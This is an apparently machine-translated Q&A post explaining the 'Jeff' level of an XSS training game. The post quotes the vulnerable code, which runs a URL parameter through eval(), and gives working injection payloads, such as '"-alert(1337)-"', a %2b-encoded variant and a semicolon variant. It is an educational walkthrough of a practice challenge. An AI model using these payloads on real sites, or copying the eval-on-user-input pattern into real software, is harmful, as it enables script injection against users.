Javascript 如何处理连字符?

mar*_*o_o 3 javascript xss

我正在研究XSS Game和这个名为Jeff的挑战。

该挑战采用一个称为jeff输入的查询参数,并将其存储在名为 的变量中jeff。挑战的目标是在页面上加载警报框。该解决方案使用连字符在函数内运行 Javascript eval()。

所以,我们有这样的评估:

eval(`ma = "Ma name ${jeff}"`)
Run Code Online (Sandbox Code Playgroud)

获得警报框的解决方案输入是(剧透警报!没有双关语。):

"-alert(1337)-"
Run Code Online (Sandbox Code Playgroud)

现在,我迫切需要了解 Javascript 如何处理这些连字符!帮助!?

Cer*_*nce 5

该网站使用的代码是:

let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
eval(`ma = "Ma name ${jeff}"`)
Run Code Online (Sandbox Code Playgroud)

注意,它searchParams给你一个URLSearchParams对象,它的.get方法给你一个与参数对应的字符串。因此,目标是想出一些字符,当插入到

ma = "Ma name <CHARACTERS>"
Run Code Online (Sandbox Code Playgroud)

并运行,导致任意代码执行。

第一步是包围 s 中的字符",以便结束 后的字符串文字name并在 CHARACTERS 后恢复字符串文字:

ma = "Ma name " <SOMETHING ELSE> ""
Run Code Online (Sandbox Code Playgroud)

所以现在您需要弄清楚可以输入什么类型的字符来<SOMETHING ELSE>生成有效的 Javascript 代码。

如果你只是输入alert(),那将无效:

ma = "Ma name " alert() ""
Run Code Online (Sandbox Code Playgroud)

这是一个语法错误。您需要一些东西来表明alert与它前面的字符串文字标记有什么关系。A-可以做到这一点,但任何其他运算符也可以,例如+、%等。您还需要将 的末尾alert与恢复的字符串文字连接起来,因此在末尾需要另一个运算符:

ma = "Ma name "-alert('foo')-""
//            ^^^^^^^^^^^^^^^^
Run Code Online (Sandbox Code Playgroud)

let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
eval(`ma = "Ma name ${jeff}"`)
Run Code Online (Sandbox Code Playgroud)

所以,需要插入的字符是:

"-alert('foo')-"
Run Code Online (Sandbox Code Playgroud)

请注意,由于字符串是在搜索参数内传递的,因此 a+不会被解释为文字字符+- 相反,它将被解释为 space。所以jeff="+alert(1337)+"不会起作用,但jeff="%2balert(1337)%2b"会。

分号也有效,因为它们会导致:

ma = "Ma name " <SOMETHING ELSE> ""
ma = "Ma name "; alert()        ;""
Run Code Online (Sandbox Code Playgroud)

这是有效的语法。